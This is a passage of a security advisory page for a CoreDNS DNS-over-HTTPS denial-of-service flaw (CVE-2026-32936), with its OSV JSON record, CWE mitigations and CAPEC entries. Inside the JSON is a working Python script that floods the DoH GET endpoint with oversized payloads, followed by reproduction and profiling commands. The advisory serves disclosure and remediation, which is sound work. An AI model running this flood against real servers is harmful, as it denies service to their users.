  • elevated CPU consumption
  • large transient allocations
  • increased garbage-collection pressure
  • higher peak resident memory usage
  • degraded throughput and responsiveness
  • denial of service risk on memory-constrained or heavily loaded deployments

This is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.

The fact that the final HTTP status is 400 Bad Request does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.

Suggested remediation

A robust fix should address both stages of the problem:

  1. Apply an early bound on the DoH GET request target / raw query length before expensive query parsing.
  2. Enforce an encoded-length and decoded-length limit for the dns parameter before calling DecodeString().
  3. Preserve equivalent size constraints across GET and POST paths.

A minimal hardening direction would be:

  • reject oversized GET requests before req.URL.Query() on the DoH path
  • reject dns values whose encoded length exceeds the maximum valid DNS message encoding
  • reject any decoded payload larger than the supported DNS message size before unpacking

Credit request: When referencing, republishing, or issuing downstream advisories for this vulnerability, please preserve the original researcher credit as Ali Firas (thesmartshadow).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coredns/coredns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-28T22:43:47Z",
    "nvd_published_at": "2026-05-05T20:16:36Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCoreDNS\u0027s DNS-over-HTTPS (DoH) GET path accepts oversized `dns=` query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning `400 Bad Request`.\n\nA remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to `/dns-query?dns=...` and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.\n\nThis is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.\n\n### Details\n\nThe vulnerable flow is in `plugin/pkg/doh/doh.go`:\n\n- `RequestToMsg()` dispatches GET requests to `requestToMsgGet()`:\n  - `plugin/pkg/doh/doh.go:79-89`\n- `requestToMsgGet()` calls `req.URL.Query()`, extracts `dns`, and passes it directly to `base64ToMsg()`:\n  - `plugin/pkg/doh/doh.go:99-108`\n- `base64ToMsg()` decodes the full attacker-controlled value via `b64Enc.DecodeString()` and only then attempts to unpack it into a DNS message:\n  - `plugin/pkg/doh/doh.go:121-130`\n\nRelevant snippet:\n\n```go\nfunc requestToMsgGet(req *http.Request) (*dns.Msg, error) {\n    values := req.URL.Query()\n    b64, ok := values[\"dns\"]\n    if !ok {\n        return nil, fmt.Errorf(\"no \u0027dns\u0027 query parameter found\")\n    }\n    if len(b64) != 1 {\n        return nil, fmt.Errorf(\"multiple \u0027dns\u0027 query values found\")\n    }\n    return base64ToMsg(b64[0])\n}\n\nfunc base64ToMsg(b64 string) (*dns.Msg, error) {\n    buf, err := b64Enc.DecodeString(b64)\n    if err != nil {\n        return nil, err\n    }\n\n    m := new(dns.Msg)\n    err = m.Unpack(buf)\n\n    return m, err\n}\n````\n\nBy contrast, the POST path applies a bounded read before unpacking:\n\n```go\nfunc toMsg(r io.ReadCloser) (*dns.Msg, error) {\n    buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))\n    if err != nil {\n        return nil, err\n    }\n    m := new(dns.Msg)\n    err = m.Unpack(buf)\n    return m, err\n}\n```\n\nSo, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.\n\nIn addition, the HTTPS server is created in `core/dnsserver/server_https.go:87-92` without an explicit early GET-path size guard in this path:\n\n```go\nsrv := \u0026http.Server{\n    ReadTimeout:  s.ReadTimeout,\n    WriteTimeout: s.WriteTimeout,\n    IdleTimeout:  s.IdleTimeout,\n    ErrorLog:     stdlog.New(\u0026loggerAdapter{}, \"\", 0),\n}\n```\n\nAs a result, oversized DoH GET request targets are processed through:\n\n1. HTTP request-line parsing\n2. URL query parsing / unescaping\n3. DoH GET extraction\n4. base64 decoding\n5. DNS message unpacking\n\nbefore the request is rejected.\n\n### Root cause\n\nThe root cause is missing early size validation on the DoH GET path.\n\nMore specifically:\n\n* `requestToMsgGet()` performs `req.URL.Query()` on attacker-controlled oversized request targets.\n* The extracted `dns` value is passed to `base64ToMsg()` without an encoded-length or decoded-length bound.\n* `base64ToMsg()` fully decodes the attacker-controlled string before any DNS-size rejection.\n* The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.\n\nThis creates a pre-validation resource-amplification path for DoH GET.\n\n### PoC\n\n#### Local test setup\n\nI reproduced this locally against CoreDNS 1.14.2 over HTTPS with `pprof` enabled.\n\nCreate a self-signed certificate:\n\n```bash\nopenssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \\\n  -keyout key.pem -out cert.pem \\\n  -subj \"/CN=127.0.0.1\"\n```\n\nCreate this `Corefile`:\n\n```txt\nhttps://127.0.0.1:8443 {\n    whoami\n    log\n    errors\n    tls cert.pem key.pem\n    pprof 127.0.0.1:6060\n}\n```\n\nRun CoreDNS:\n\n```bash\n./coredns -conf Corefile\n```\n\n#### Proof-of-concept script\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport base64\nimport collections\nimport concurrent.futures\nimport http.client\nimport ssl\nimport time\n\ndef send_one(host, port, path, timeout):\n    ctx = ssl._create_unverified_context()\n    conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)\n    try:\n        conn.request(\"GET\", path, headers={\n            \"Accept\": \"application/dns-message\",\n            \"Connection\": \"close\",\n        })\n        resp = conn.getresponse()\n        resp.read()\n        return resp.status\n    except Exception as e:\n        return f\"ERR:{type(e).__name__}\"\n    finally:\n        try:\n            conn.close()\n        except Exception:\n            pass\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--host\", default=\"127.0.0.1\")\n    ap.add_argument(\"--port\", type=int, default=8443)\n    ap.add_argument(\"--decoded-kib\", type=int, default=720)\n    ap.add_argument(\"--workers\", type=int, default=64)\n    ap.add_argument(\"--requests\", type=int, default=5000)\n    ap.add_argument(\"--timeout\", type=float, default=5.0)\n    args = ap.parse_args()\n\n    raw = b\"A\" * (args.decoded_kib * 1024)\n    b64 = base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode()\n    path = \"/dns-query?dns=\" + b64\n\n    print(f\"[+] target = https://{args.host}:{args.port}\")\n    print(f\"[+] decoded bytes = {len(raw):,}\")\n    print(f\"[+] encoded chars = {len(b64):,}\")\n    print(f\"[+] request-target length = {len(path):,}\")\n    print(f\"[+] workers = {args.workers}, requests = {args.requests}\")\n    print(\"[+] 400 responses are expected; the issue is expensive processing before rejection.\\n\")\n\n    started = time.time()\n    results = collections.Counter()\n\n    with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:\n        futs = [\n            ex.submit(send_one, args.host, args.port, path, args.timeout)\n            for _ in range(args.requests)\n        ]\n        for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):\n            results[fut.result()] += 1\n            if i % 10 == 0 or i == args.requests:\n                print(f\"[{i}/{args.requests}] {dict(results)}\")\n\n    elapsed = time.time() - started\n    print(\"\\n[+] done\")\n    print(f\"[+] elapsed = {elapsed:.2f}s\")\n    print(f\"[+] summary = {dict(results)}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nRun the PoC:\n\n```bash\npython3 poc_doh_get_oversize_https.py \\\n  --host 127.0.0.1 \\\n  --port 8443 \\\n  --decoded-kib 720 \\\n  --workers 64 \\\n  --requests 5000\n```\n\n#### Profiling commands used during reproduction\n\nCPU profile:\n\n```bash\n(curl -s \"http://127.0.0.1:6060/debug/pprof/profile?seconds=20\" -o cpu_attack.pb.gz \u0026) ; \\\nsleep 1 ; \\\npython3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \\\nwait\n\ngo tool pprof -top ./coredns cpu_attack.pb.gz\n```\n\nHeap / allocation profiles:\n\n```bash\ncurl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz\ncurl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz\n\npython3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000\n\ncurl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz\ncurl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz\n\ngo tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz\ngo tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz\n```\n\n### Reproduction results\n\nI confirmed the issue on:\n\n* CoreDNS 1.14.2\n* linux/amd64\n* go1.26.1\n\nPoC payload characteristics:\n\n* decoded payload size: `737,280 bytes`\n* base64url-encoded `dns` length: `983,040`\n* request-target length: `983,055`\n\nObserved request outcome:\n\n* `5000 / 5000` requests returned `400 Bad Request`\n* total runtime for the 5000-request run: `18.22s`\n\nThe important point is that the requests are rejected only after expensive processing has already happened.\n\n#### CPU profile highlights\n\nThe CPU profile captured during the attack showed significant time in:\n\n* `net/http.readRequest`\n* `net/url.ParseQuery` / `net/url.QueryUnescape` / `net/url.unescape`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg`\n* `encoding/base64.(*Encoding).DecodeString`\n* Go GC worker paths\n\nRepresentative cumulative values from the captured profile included:\n\n* `github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP` \u2192 `10.91s`\n* `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` \u2192 `10.88s`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` \u2192 `10.88s`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` \u2192 `3.50s`\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `3.46s`\n* `net/http.readRequest` \u2192 `10.57s`\n* `net/url.(*URL).Query` / `ParseQuery` / `QueryUnescape` \u2192 `7.38s`\n* `runtime.gcBgMarkWorker` and related GC paths were also heavily active\n\nThis demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.\n\n#### Allocation profile highlights\n\nAllocation profiling showed very large transient allocation volume caused by the rejected requests:\n\n* total `alloc_space`: `26,756.48 MB`\n\nTop contributors included:\n\n* `net/textproto.(*Reader).readLineSlice` \u2192 `19,668.19 MB`\n* `net/textproto.(*Reader).ReadLine` \u2192 `3,738.84 MB`\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `2,766.16 MB`\n\nWithin the CoreDNS DoH GET path specifically:\n\n* `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` \u2192 `2,775.67 MB`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` \u2192 `2,775.67 MB`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` \u2192 `2,773.67 MB`\n\nHeap delta (`inuse_space`) also showed live growth attributable to this path, including:\n\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `7,629.75 kB`\n\n#### Memory observations\n\nRuntime memory monitoring showed a clear increase in peak resident usage during the attack:\n\n* baseline `VmHWM / VmRSS` before load was approximately `55,864 kB`\n* observed `VmHWM` during testing reached approximately `146,100 kB`\n\nSo even though requests returned `400`, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.\n\n### Impact\n\nA remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.\n\nImpact includes:\n\n* elevated CPU consumption\n* large transient allocations\n* increased garbage-collection pressure\n* higher peak resident memory usage\n* degraded throughput and responsiveness\n* denial of service risk on memory-constrained or heavily loaded deployments\n\nThis is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.\n\nThe fact that the final HTTP status is `400 Bad Request` does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.\n\n### Suggested remediation\n\nA robust fix should address both stages of the problem:\n\n1. Apply an early bound on the DoH GET request target / raw query length before expensive query parsing.\n2. Enforce an encoded-length and decoded-length limit for the `dns` parameter before calling `DecodeString()`.\n3. Preserve equivalent size constraints across GET and POST paths.\n\nA minimal hardening direction would be:\n\n* reject oversized GET requests before `req.URL.Query()` on the DoH path\n* reject `dns` values whose encoded length exceeds the maximum valid DNS message encoding\n* reject any decoded payload larger than the supported DNS message size before unpacking\n\n---\n\n**Credit request: When referencing, republishing, or issuing downstream advisories for this vulnerability, please preserve the original researcher credit as Ali Firas (thesmartshadow).**",
  "id": "GHSA-63cw-r7xf-jmwr",
  "modified": "2026-06-12T19:25:56Z",
  "published": "2026-04-28T22:43:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/security/advisories/GHSA-63cw-r7xf-jmwr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32936"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coredns/coredns"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification"
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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